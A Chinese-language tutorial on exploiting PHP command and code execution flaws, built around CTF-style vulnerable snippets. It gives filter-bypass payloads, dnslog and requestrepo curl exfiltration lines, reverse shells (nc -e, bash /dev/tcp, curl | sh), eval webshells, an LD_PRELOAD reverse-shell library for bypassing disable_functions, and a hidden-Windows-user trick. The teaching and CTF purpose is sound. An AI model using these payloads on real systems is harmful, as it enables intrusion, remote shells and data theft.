啥是RCE?

php的代码执行简称RCE是Remote Command Exec(远程命令执行)和Remote Code Exec(远程代码执行)的缩写;Command指的是操作系统的命令,code指的是脚本语言(php)的代码

php的命令执行利用

php的命令执行,我们默认讨论的是服务器操作系统为Linux下的情况

php的Command Exec函数

在php中,官方有下面6种函数可以执行系统命令

system()

system(whoami);    引号加不加都行,默认是command类型参数.

passthru()

完全同system()

exec()

默认没有回显,需要手动加上echo.而且只会回显出一行结果,因此常用第二个数组参数接收多行结果.

payload:$arr=[]; echo exec(ipconfig,$arr); var_dump($arr);

shell_exec()

默认没有回显,需要手动加上echo,可以输出多行结果.

payload:echo shell_exec(ipconfig);

popen()

popen():打开一个指向进程的管道,该进程由派生给定的command命令执行而产生.

payload:$fp=popen(whoami,'r'); while(!feof($fp)){$content.=fgetss($fp);} echo $content;

pcntl_exec

#void pcntl_exec ( string $path [, array $args [, array $envs ]] ) #path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本 #args是一个要传递给程序的参数的字符串数组。#pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。#pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0 <?php pcntl_exec ( "/bin/bash" , array("whoami")); ?>

proc_open()

proc_open():执行一个命令,并打开一个io文件指针.类似popen(),但更复杂.

执行运算符 ``

这些函数的共同特征就是可以执行系统命令,只是返回值、参数个数、参数位置不同而已。

这里说的系统命令,和php所在的服务器的操作系统密切相关

在Windows服务器上,我们可以执行Windows的系统命令或者程序名称,列如calc、bat、vbs等等

在Linux/Unix服务器上,我们可以执行Linux的系统命令,列如cat cp nc等等

比如

ping -c 1 wwww.baidu.com

ping -c 1 wwww.baidu.com

在命令执行有下面几种可能:

  • 命令可控 比如我们可以控制ping这个字符串

  • 参数可控 -c 可控

  • 参数值可控 1和www.baidu.com 可控

  • 整体可控,但是要突破过滤

我们遇到命令执行,需要首先判断可控的位置,然后针对性的绕过

参数值可控

我们从一个例子看起

<?php

error_reporting(0);
highlight_file(__FILE__);

$dir=$_POST['dir'];

system("ls ".$dir);

?>

代码很简单,就是列目录,我们需要传入一个参数dir,如果没有传入,则默认执行无参命今ls我们现在需要注入进去我们自己的其他命令我们只需要传入 && 就可以实现两个命令并列执行,前面命令执行完毕后会执行后面的命令

相当于

命令A&&命令B

  • &&代表逻辑与符号,用于当第一个命令执行成功后才执行第二个命令

  • 代表逻辑或符号,用于当第一个命令执行失败后才执行第二个命令

  • ;分号符,用于在一行中依次执行多个命令

命令可控

我们再看一个例子

<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd=$_POST['cmd'];

system($cmd." >/dev/null 2>&1");

?>

这次的代码变成了

1 system($cmd.”>/dev/nul1 2>&1");

后面这个写法小白可能没见过,我在这说明一下

在linux中,所有的设备都有文件描述,那么有一类特殊的设备,也有文件描述,那就是空的设备文件描述为/dev/null而>表示将输出写入到这个空设备中,也就是不回显任何数据后面的2>&1 则是表示把标准的错误输出附加到标准输出上,合起来,就是标准输出和错误输出都不回显

这时候,我们如果使用前面的 && 来使命令一分为二,后面的命令会导致我们在前面执行的命令不回显。

这个时候可以使用shell中的分号,来拆分命令,表示前后两条命令。两者的区别在于&&需要前面命令执行成功后,后面的命令才会执行,分号则不管成功与否,两个命令作为两行命令执行

整体可控

1.黑名单过滤

替换过滤的情况

这个属于直男型过滤,认为我只要把关键字替换为空,那么就安全了绕过也很简单,双写绕过即可,比如替换了cat字符串为空,所以可以直接提交ccatat ,替换后,就刚好变成了 cat虽然简单,但是在实战中经常遇到。

利用条件也是仅仅替换为空,如果替换为其他字符,大概率就走不通了,比如替换为ABCccatat营换后为CABCat,命令明显会执行错误。

过滤特定字符串(例如flag)的情况:

当我们要读取flag时,遇到过滤了关键字时,我们可以使用通配符绕过,通配符我们只需要掌握两个符号,分别是*?

*号表示任意长度字符,最常见的就是一条命令处理多个文件

比如批量移动文件 可以使用命令

mv *.txt ./tmp

上面命令会把当前目录所有后缀为txt的文件移动到当前目录下的tmp目录

如果有成百上千的txt文件,使用通配符,可以一条命令就完成,而不用这样

mv 1.txt ./tmp
mv 2.txt ./tmp
...

?表示占位符,表示1个或者多个字符,比如我们当前目录有个文件abc.txt,需要移动到tmp目录,我们可以这样写

mv abc.txt ./tmp

如果我们有很多类似这样的文件,比如 a1c.txt a3c.txt a8c.txt a8aac.txt

这样的文件,我们就可以使用?来精准匹配

mv a*c.txt ./tmp
#会移动所有txt文件到tmp目录,包括a8aac.txt
mv a?c.txt ./tmp
#只会移动a1c.txt a3c.txt a8c.txt,不包括a8aac.txt
#因为a8aac.txt文件名中a和c之间不止一位字符,所以用?匹配不到

参考例题

<?php

error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];


if(!preg_match("/flag|\&|\;/i",$cmd)){
    system($cmd." >/dev/null 2>&1");
}

?>

这里我们看到有了3个我们没有见过的函数,分别是

error_reporting(0);
highlight_file(__ FILE__);

if(!preg _match("/flag|\&| \;/i”,$cmd)){

我们可以打开自己的php手册,查询下函数意义

我们重点看看这个if判断,里面是一个正则表达式的判断,如果输入的参数里面不包含大小写的 flag 字符,而且不能包含&& 和分号,否则不会执行大括号

中的函数这样就起到了参数过滤的作用,这里我们虽然不能便用flag这个单词,但是我们可以使用通配符*和?

过滤cat、more等文件读取命令的情况:

在linux中,有很多的命令或者程序可以读取文件,如果自己熟悉的命令被ban掉了,那么最好的办法就是打开自己的本地linux环境,找找那些不熟悉的命令,或许就有可以读取文件的其他方式了。

最常见的方式就是用别的命令替换,比如过滤了cat用tac命令读取,甚至nl more od 等等其他命令也可以读取,这里列一下linux读取文件的命令

cat

tac

more

less

od

xxd

tail

nl

sort

grep

uniq

file -f

tac:反向显示

tac flag.php

more:一页一页的显示档案内容

more flag.php,如果无回显,可先在网页源代码中查看

less:与more类似

less flag.php

tail:查看末尾几行

tail flag.php

nl:显示的时候,随便输出行号

nl flag.php

od:以二进制的方式读取文档内容

od flag.php

xxd:读取二进制文件

xxd flag.php

sort:主要用于排序文件

sort flag.php

uniq:报告或删除文件中重复的行

uniq flag.php

grep :在文本中查找指定的字符串

grep flag flag.php

file-f: 报错出具体内容

file -f flag.php

我们这里不用上面的思路,我们假设所有读取文件的命令或者程序都被ban了,所以我们还可以使用另一 种组合执行的方法

那就是我们在shell语法中,有反引号表示执行的意思,比如我们可以这样执行

ls `echo /bin`
#等效于
ls /bin
#甚至我们可以这样 
`echo ls`   `echo /bin`
#依然等效于 ls/bin

所以,这里我们可以这样构造

`echo bHMK 1 base64 -d`  `echo L2Jpbgo= | base64 -d`
#这样依旧等效于 ls /bin

那么对于过滤了文件读取函数的题目,我们可以这样通杀

#tac flag.php
`echo dGFjIA== | base64 -d` `echo ZmxhZy5waHA=|base64 -d`

但是题目中,又将回显输出到了空设备,所以我们需要把命令后面拆分或者断开,虽然我们不能使用并列执行的&&和先后执行的;

我们依然可以使用 ||

||就是只要前面的条件达成了,后面的就不用执行,||&& 正好相反,&& 是前面的命令执行成功后面的才会执行

参考例题

<?php

error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];

if(!preg_match("/flag|\&|\;|cat|tac|nl|more|od/i",$cmd)){
    system($cmd." >/dev/null 2>&1");
}

?>

变量拼接绕过关键字

但是上面的题目,也有一个条件,那么就是如果过滤了echo 或者base64,我们就不能便用了这时候,我们可以使用变量拼接法来绕过黑名单

在shell中,是可以定义变量的

a=c;b=at;c=fla;d=g.php;$a$b ${c}${d}
#等效于 cat flag.php

这里定义了 a、b、c、d 三个变量,同时用 $a 或者 ${c}的形式进行了引用值

2.符号过滤

过滤空格的情况:

前面我们用到的命令,都没有过滤空格,如果一旦不让用空格,那是不是就全部都失效了呢?那么在shell语法中,有没有代替空格的命令?比如我们要执行命令tac flag.php

那么不用空格的姿势有

1.读文件时,使用<>代替空格

tac<>flag.php

2.使用${IFS}代空格,也可以使用$IFS$9来代空格,bash下甚至可以使用{cmd,args}代替空格

tac$(IFS}flag.php

3,控制字符代替空格

%09 %0b %0c

4.字符串截取空格

先看控制字符代替空格

哪些控制字符可以代替空格呢? 我们看一个题目

<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];

if(!preg_match("/flag|\&|\;| /i",$cmd)){
    system($cmd);
}

?>

小知识

可以使用burp爆破%00-%128来确认那些可以代替空格QWQ

再看字符串截取空格

要使用字符串截取,那么我们需要两个条件,一个是有字符串,另一个是可以截取

在shell中,可以使用变量

caigo=aabbcc
${caigo}
#输出aabbcc

使用冒号来截取变量的字符

caigo=aabbcc
${caigo:2}
#输出bbcc

如果只要输出一个字符c,我们可以

caigo=aabbcc
${caigo:4:1}
#输出字符c

有了这个理论基础,我们就可以在系统中找已经定义号的变量。然后截取里面的字符串即可

这里看一个例题,要求构造空格绕过限制

<?php

error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];

if(!preg_match("/flag|\&|\;| |IFS|\>|\<|\x09/i",$cmd)){
    system($cmd);
}

?>

使用env命令查看系统环境变量

我们使用PHP_EXTRA_CONFIGURE_ARGS这个环境变量

第13位是空格,构造poc

cmd=tac${PHP_EXTRA_CONFIGURE_ARGS:12:1}fl*

无字母数字命令执行

异或

这里的异或,指的是php按位异或,在php中,两个字符进行异或操作后,得到的依然是一个字符,所以说当我们想得到a-z中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母即可。而在php中,两个字符进行异或时,会先将字符串转换成ascii码值,再将这个值转换成二进制,然后一位一位的进行按位异或,异或的规则是:1^1=0,1^0=1,0^1=1,0^0=0,简单的来说就是相同为零,不同为一

取反

取反也是php中的一种运算符,取反的好处就是,它每一个字符取反之后都会变成另一个字符,不像异或需要两个字符才能构造出一个字符。

方法一

首先,我们想要构造的依然是assert($_POST[_])这条语句,和上面一样,我们先用php的取反符号~将字符串assert_POST取反,这里需要注意的是,由于它取反之后会有大量不可显字符,所以我们同样需要将其url编码,然后当我们要用的时候,再利用取反符号把它们取回来即可。

方法二

是我看p神博客才了解到的方法,就是说利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,然后再进行一次取反操作,就能得到一个我们想要的字符,这里的原理我确实是不知道,因为这里好像是涉及到计组知识而我现在还没学,害,现在就只有先学会怎么用,原理后面再补了。

自增

在处理字符变量的算数运算时,PHP沿袭了Perl的习惯,而不是C语言的。在C语言中,它递增的是ASCII值,a = 'Z'; a++;将把 a变成 '[''Z'的 ASCII 值是 90,'['的 ASCII 值是 91),而在Perl中, $a = 'Z'; $a++;将把 $a变成'AA'。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增或递减其他字符变量则无效,原字符串没有变化。

也就是说,只要我们获得了小写字母a,就可以通过自增获得所有小写字母,当我们获得大写字母A,就可以获得所有大写字母了

正好,数组(Array)中就正好有大写字母A和小写字母a,而在PHP中,如果强制连接数组和字符串的话,数组就会被强制转换成字符串,它的值就为Array,那取它的第一个子母,就拿到A了,那有了aA,相当于我们就可以拿到a-zA-Z中的所有字母了

例题

<?php
  error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
  die('hacker');
}
eval($code);

我们直接使用异或脚本构造poc

("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08%00%00"^"%60%7b%20%2f");

其他的可自行去尝试

无回显情况下的命令执行

这里我们用到shell_exec函数,这个函数和system相比,无回显

1.使用>写入文件查看

把执行结果写入到一个文件中

例题

<?php

  error_reporting(0);
highlight_file(__FILE__);
$cmd=$_GET['cmd'];

if(!preg_match("/flag/i",$cmd)){
  shell_exec($cmd);
}

  ?>
payload:http://xxx.xxx.xxx/?cmd=cat%20fla*%20%3E%201.txt

可以看到执行结果就保存到1.txt中了

2.dnslog外带数据

例题

<?php

  error_reporting(0);
highlight_file(__FILE__);
$cmd=$_GET['cmd'];

if(!preg_match("/flag/i",$cmd)){
  shell_exec($cmd);
}

  ?>

这道题没有写文件的权限,我们利用dnslog将数据带出来

先获取一个域名,然后使用我们的ping命令请求一次,在域名前加上我们的私货

?cmd=ping%20-c%201%20`whoami`.a917bq.dnslog.cn

刷新我们申请域名的访问记录,发现命令执行结果被带出来了

但是dnslog有个问题,他带出的数据很少,并且不能换行,所以,我们要所以sed来控制他读哪一行

/?cmd=a=`sed%20-n%20"3,4p"%20fla?.php`;curl%20${a:0:10}.a917bq.dnslog.cn

${a:0:10}的意思是返回结果的第0位到10位

小知识

dnslog带外的时候在poc没问题的情况下,没发数据包可能是读取的文件中存在url解析不了的字符,所导致数据发不出去,所以base64编码后即可。

/?cmd=a=`sed%20-n%20"3,4p"%20fla?.php%20|%20base64`;curl%20${a:64:4}.kmudq5.dnslog.cn

这个字符就比较多了,建议一开始10,20位的拿边拿编解码,到后面4,8位的拿

3.requestrepo平台使用

例题

<?php

  error_reporting(0);
highlight_file(__FILE__);
$cmd=$_GET['cmd'];

if(!preg_match("/flag|dnslog/i",$cmd)){
  shell_exec($cmd);
}

  ?>

可以看到他这里把dnslog禁用了,这里推荐另一个非常好用的平台requestrepo.com

可以看到他给我们生成好了一个域名,复制它,构造poc

/?cmd=curl http://e8zaeokj.requestrepo.com?1=`ls /|base64`

发送后发现我们多了很多请求

把回显进行base64解码即可得到数据

4.反弹shell信道

例题

<?php

  error_reporting(0);
highlight_file(__FILE__);
$cmd=$_GET['cmd'];

if(!preg_match("/flag|dnslog|request/i",$cmd)){
  shell_exec($cmd);
}

  ?>

可以看到,题目把dnslog和request都禁用了,我们直接使用shell反弹即可

/?cmd=curl https://your-shell.com/yourip:1337 | sh

命令执行中还有个执行长度限制的知识点,我在前面的RCE奇技淫巧中有提到,这里就不做描述了

php代码执行利用

php的Code Exec函数

eval()

eval:将一个字符串作为php代码执行

paylaod:eval($_POST[123]);

注意:eval是一个语言构造器,不是函数,所以不能当可变函数.

assert()

assert():执行一个有返回值的php表达式

assert():执行一个有返回值的php表达式

assert()是一个函数,可以使用可变函数调用.

注意:php7.2后,assert也同eval,是语言构造器而不是函数.

call_user_func()和call_user_func_array()

call_user_func():把第一个参数作为回调函数使用,其余参数是回调函数参数.

payload:call_user_func('assert','eval($_POST[123])');

call_user_func_array():把第一个参数作为回调函数使用,第二个数组类型参数作为回调函数参数.

payload:call_user_func_array('assert',['eval($_POST[123])']);

array_map()

array_map():为数组的每一个元素应用回调函数.第一个参数是回调函数,第二个参数是数组.

payload:array_map('assert',['eval($_POST[123])']);

array_filter()

array_filter():使用回调函数过滤数组中的元素.第一个参数是数组,第二个参数是回调函数.

payload:array_filter(['eval($_POST[123])'],'assert');

array_reduce()

array_reduce():用回调函数迭代的将数组化为单一的值.第一个参数是数组,第二个参数是回调函数.

payload:array_reduce([1,2],'assert','phpinfo()');

create_function()

create_function():创建一个匿名函数,第一个参数为函数参数,第二个参数为函数代码块内容,返回值为函数名.

payload:$a=create_function('','eval($_POST[123]);');  echo $a();

注意:该函数在php7.2被弃用,在php8.0被移除.

usort()和uasort()

usort():使用用户自定义的比较函数对数组中的值排序.

payload:$arr=[1,'eval($_POST[123])']; usort($arr,'assert');

preg_replace()

preg_replace():基于正则,将匹配到的字符串替换为指定的字符串并返回完整字符串.

正则模式修饰符e:将字符串作为代码执行.

perg_replace()模式使用了e模式,此时开启代码执行的模式,要求php版本<=5.6

下面是一个简单的代码执行源码

<?php 
$code = $_POST['code'];
//用post方式接收值,然后赋值给$code
eval($code);
//用eval函数执行
?>

这里我们可以使用蚁剑连接上去

这样就可以看到整个网站的目录结构,甚至是可以看到除网站外的系统文件(看权限),也可以打开命令行执行命令(看权限)

小知识

在win下创建用户时在用户名后加上$符,可以隐藏用户,使用net user命令查看不到

例题

<?php

error_reporting(0);
highlight_file(__FILE__);

eval($_GET[1]);

?>

有时eval中的可控参数是GET请求时,使用蚁剑连不上,可以添加个转接头

http://xxx.xxx.xxx/?1=eval($_POST[x]);

这样用新的密码x连接即可

例题

<?php

  error_reporting(0);
highlight_file(__FILE__);

call_user_func($_GET[1],$_POST[2]);

?>

这里使用的是call_user_func函数,当我们不清楚函数的用途和用法时可以使用php手册进行查询

大致意思就是第一个参数是调用的函数,第二个参数是函数执行的值,也就是()里的值

小知识

call_user_func的第一个参数必须得是函数,像eval、echo在php中属于语言结构,所以不能被调用

php语言结构和函数的区别

相信大家经常看到对比一些PHP应用中,说用isset() 替换 strlen(),isset比strlen执行速度快等。
例子:
  if ( isset($username[5]) ) {
    // The username is at least six characters long.
  }
原因是isset是语言结构,而strlen是一个函数。那什么是语言结构呢?它和函数有什么不同吗?

1、  什么是语言结构和函数

语言结构:就是PHP语言的关键词,语言语法的一部分;它不可以被用户定义或者添加到语言扩展或者库中;它可以有也可以没有变量和返回值。
函数:由代码块组成的,可以复用。

2、  语言结构为什么比函数快
原因是在PHP中,函数都要先被PHP解析器分解成语言结构,所以有此可见,函数比语言结构多了一层解析器解析。这样就能比较好的理解为
什么语言结构比函数快了。

3、  语言结构和函数的不同

语言结构比对应功能的函数快
语言结构在错误处理上比较鲁棒,由于是语言关键词,所以不具备再处理的环节
语言结构不能在配置项(php.ini)中禁用,函数则可以。
语言结构不能被用做回调函数

看下一道例题

<?php

error_reporting(0);
highlight_file(__FILE__);

array_walk_recursive($_GET[1], $_POST[1]);

?>

这里使用的是array_walk_recursive函数,从手册中看函数意思

大致意思是第二个参数是调用的函数,然后把第一个参数的值(注意第一个值得是数组类型)作为参数,提交个第二个参数(也就是函数)执行

黑名单绕过

变量拼接绕过关键字

在代码执行中我们同样可以使用变量拼接对关键字进行一个绕过

来看例题

<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_GET[1];

if(!preg_match("/system|func|array|preg|eval|exec|passthru/i",$code)){
    eval($code);
}


?>

php中的特殊标签

1.  <?php echo 'if you want to serve XHTML or XML documents, do it like this'; ?>

2.  <script language="php">
        echo 'some editors (like FrontPage) don\'t
              like processing instructions';
    </script>

3.  <? echo 'this is the simplest, an SGML processing instruction'; ?>
    <?= expression ?> This is a shortcut for "<? echo expression ?>"

4.  <% echo 'You may optionally use ASP-style tags'; %>
    <%= $variable; # This is a shortcut for "<% echo . . ." %>

上例中的 1 和 2 中使用的标记总是可用的,其中示例 1 中是最常用,并建议使用的。

短标记(上例 3)仅在通过 php.ini 配置文件中的指令 short_open_tag 打开后才可用,或者在 PHP 编译时加入了 --enable-short-tags 选项。

ASP 风格标记(上例 4)仅在通过 php.ini 配置文件中的指令 asp_tags 打开后才可用。

例题

<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_GET[1];

if(!preg_match("/\?|\;/",$code)){
    eval("?>".$code);
}

?>

代码中我们可以看出他过滤了?;,我们使用上面的第二中标签绕过

长度限制绕过

看代码

<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_GET[1];

if(strlen($code)<=13){
    eval("?>".$code);
}

?>

从代码中我们可以看到他对我们传入值的长度做了限制,只能上传13个字符

<?php $_GET[x]?>这是我们正常的poc,可是长度明显不符,我们对poc进行压缩

<?php ?>替换为<?=,这个标签不需要闭合,但是要求:PHP版本>PHP 5.4.0

然后加上``让他执行系统命令,最后把=去掉,注意如果没有=的话,执行结果不会回显

<?`$_GET[x]`;这样我们的poc就构造好了,刚好13个字符,我们测试一下

执行

http://xxx.xxx.xxx/?1=<?`$_GET[x]`;&x=sleep 3

发现网站确实延时3秒

图片

但是因为没有=,执行内容不会回显,我们可以用>将我们的执行结果写入到一个文件中

http://xxx.xxx.xxx/?1=<?`$_GET[x]`;&x=ls > 1.txt

这样的前提是网站有写入权限,没有的情况可以使用nc反弹

准备一台公网服务器,利用nc监听本地端口

http://xxx.xxx.xxx/?1=<?`$_GET[x]`;&x=nc xxx.xxx.xxx 7777 -e /bin/sh

nc反弹回来就可以执行系统命令了

注意这里是因为靶场环境有nc,如果靶场没有的话可以使用其他命令反弹shell,列如

bash

bash -i >& /dev/tcp/ip/port 0>&1
/bin/bash -i > /dev/tcp/ip/port 0<& 2>&1

ip与port改为attacker端的ip与开启监听的端口

exec

exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do  2>&5 >&5; done

exec /bin/sh 0</dev/tcp/ip/port 1>&0 2>&0

还有很多就不一一举例了,可以在这个网站在线生成https://forum.ywhack.com/shell.php

disable_functions禁用

disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。
要进行添加的话在php.ini中添加即可,每个函数之间使用逗号隔开。

例题

<?php

  error_reporting(0);
highlight_file(__FILE__);

$code = $_GET[1];

if(!preg_match("/include|require|eval/i",$code)){
  eval($code);
}


  ?>

源码上没有啥限制,我们直接蚁剑连接,可以在phpinfo()中看到禁用了哪些函数

可以看到以及执行不了系统命令了

1.LD_PRELOAD绕过

绕过条件:

1、能上传自己的.so文件;

2、能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数并且未被禁止;

3、存在可以控制php启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和eror_log()等。

创建一个.c文件

#include<stdlib.h>
#include<stdio.h>
#include<string.h>
void payload(){

    system("nc 192.168.15.131 7777 -e /bin/bash");//执行命令


}

int geteuid(){     //生成动作geteuid,执行payload

    unsetenv("LD_PRELOAD");    //结束调用
    payload();

}

将.c文件编译成.so文件

sudo gcc -shared -fPIC .c -o .so

再创建一个.php文件

<?php 

  putenv("LD_PRELOAD=./poc.so");
mail('','','','');

?>

把两个文件上传到网站根目录,然后访问.php文件即可执行命令

2.使用蚁剑的disable_functions绕过插件绕过

这个就比较简单了

运行完成功会在网站目录下生成一个.antproxy.php文件,重新用蚁剑连接

http://xxx.xxx.xxx/.antproxy.php?1=assert($_POST[x]);

连上后就能执行命令了

这个插件还有很多种模式,做题环境下可以多试几次,实战就可能会泄露攻击信息

无参数代码执行

我们先来看一段代码段

<?php 
error_reporting(0);
highlight_file(__FILE__);
if(';'===preg_replace('/[^\W]+\((?R)?\)/',"",$_GET['code'])){
	eval($_GET['code']);
}
?>

代码的关键在if语句中,大致意思是匹配我们传入的参数,匹配到字母、数字、下划线[A-Z/a-z/0=9_]会替换为空,但是只会匹配"a()"形式的字符串,括号中不能有参数。

能执行:

不能执行:

我们接下来介绍绕后方法

HTTP请求标头

函数:getallheaders()

函数解释:获取当前请求的所有请求头信息以倒序返回

他返回的是一个数组,我们可以搭配end和pos函数,获取单独的内容

函数解释:

end():将 array 的内部指针移动到最后一个单元并返回其值。

pos():与end相反返回第一个值

那我们这个时候已经可以获取到内容了,数据包的内容是可有使用bp修改的,我们直接把他修改成我们要执行的命令,在使用eval()函数执行不就行了吗

类似功能的还有apache_request_headers()函数,适用于apache服务器

全局变量RCE

函数:get_definde_vars()

函数解释:返回所有已定义变量的值,所成的数组

我们打印一下函数的执行结果

在源代码中看更清楚

可以看到它把我们传入的参数以数组的方式返回给我们(因为这里我只在get方法传了值,所以其他为空),我们可以多传一个参数

可以看到尽管它代码中没有接收a参数,它也会给我们以数组的方式返回,那我们就可以使用end和pos函数执行我们想要的命令了。

先用pos指定第一个数组的内容也就是

再使用end指定最后一个内容,使用eval执行

session RCE

函数:session_start()

函数解释:启动新会话或者重用现有会话,成功开始会话返回true,反之返回false

我们环境正常是没有session的

我们加上session_start()就会启动session会话

我们可以在数据包中构造我们想要的session值

然后使用print_r打印返回内容,返回1代表开启,0代表未开启

我们可以使用session_id返回具体的session内容

我们可以使用show_source()函数读取文件内容

也可以使用eval等函数代码执行,但是要注意直接在session中传入php代码比如说system('dir');它存在符号会导致服务器无法解析,无法执行命令

需要先将session内容进行hex编码在使用hex2bin进行解码执行。

scandir文件读取

这个知识点中使用到的函数有点多,我这里列张表

scandir()

列出指定路径中的文件和目录(PHP 5,PHP 7, PHP 8)

getcwd()

取得当前工作目录(PHP 4, PHP 5,PHP 7, PHP 8)

current()

返回数组中的当前值(PHP 4,PHP 5,PHP 7, PHP 8)

array_reverse()

返回单元顺序相反的数组(PHP 4, PHP 5, PHP 7PHP 8)

array_flip()

交换数组中的键和值(PHP 4, PHP 5, PHP 7,PHP 8)

next()

将数组中的内部指针向前移动(PHP 4, PHP 5, PHP 7,PHP 8)

array_rand()

从数组中随机取出一个或多个随机键

chdir()

系统调用函数 (同cd) ,用于改变当前工作目录

strrev()

用于反转给定的字符串

crypt()

用来来加密,目前Linux平台上加密的方法大致有MD5,DES,3 DES

hebrevc()

把希伯来文本从右至左的流转换为左至右的流。

我们先来了解scandir函数的使用,不细讲

我们往这个函数内容传入.就可以列出当前目录下的所有文件

当题目过滤时我们无法传入参数,所以我们需要构造.符号

我们可以使用localeconv()函数构造点。

可以看到它返回的数组中的第一个就是.我们再使用pos()函数获取

这样我们就构造好了点,就可以使用scandir函数列出当前目录下的文件

如果flag文件在第一个或者最后一个直接使用end或pos单独获取就行了,如果不是就需要使用array_flip()函数把数组中的建和值进行替换,再使用array_rand()函数随机获取,再使用show_source进行读取

如果要读取上级目录的文件就需要使用getcwd()返回当前目录,再使用dirname()函数返回上级目录,再使用chdir固定目录,再使用dirname它会生成一个点,然后使用scandir()获取上级目录文件,接下来就和前面一样了。

如果flag文件在根目录就需要构造/

我们先使用serialize序列化一个array对象

在使用crypt()函数对它进行单向字符串散列加密,随机生成的字符串末尾就可能出现/

再使用strrev()使字符串倒序

这时候我们要把第一个字符提取出来,需要使用到ord()函数,它会对字符串中的第一个字符进行转码,然后我们再使用chr()进行解码,这样就可以获取到/

这样就构造出来了,再使用scandir读取根目录文件

接下来就和前面一样了,由于有两个随机点,可以将数据包放到burp中使用爆破模块跑

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。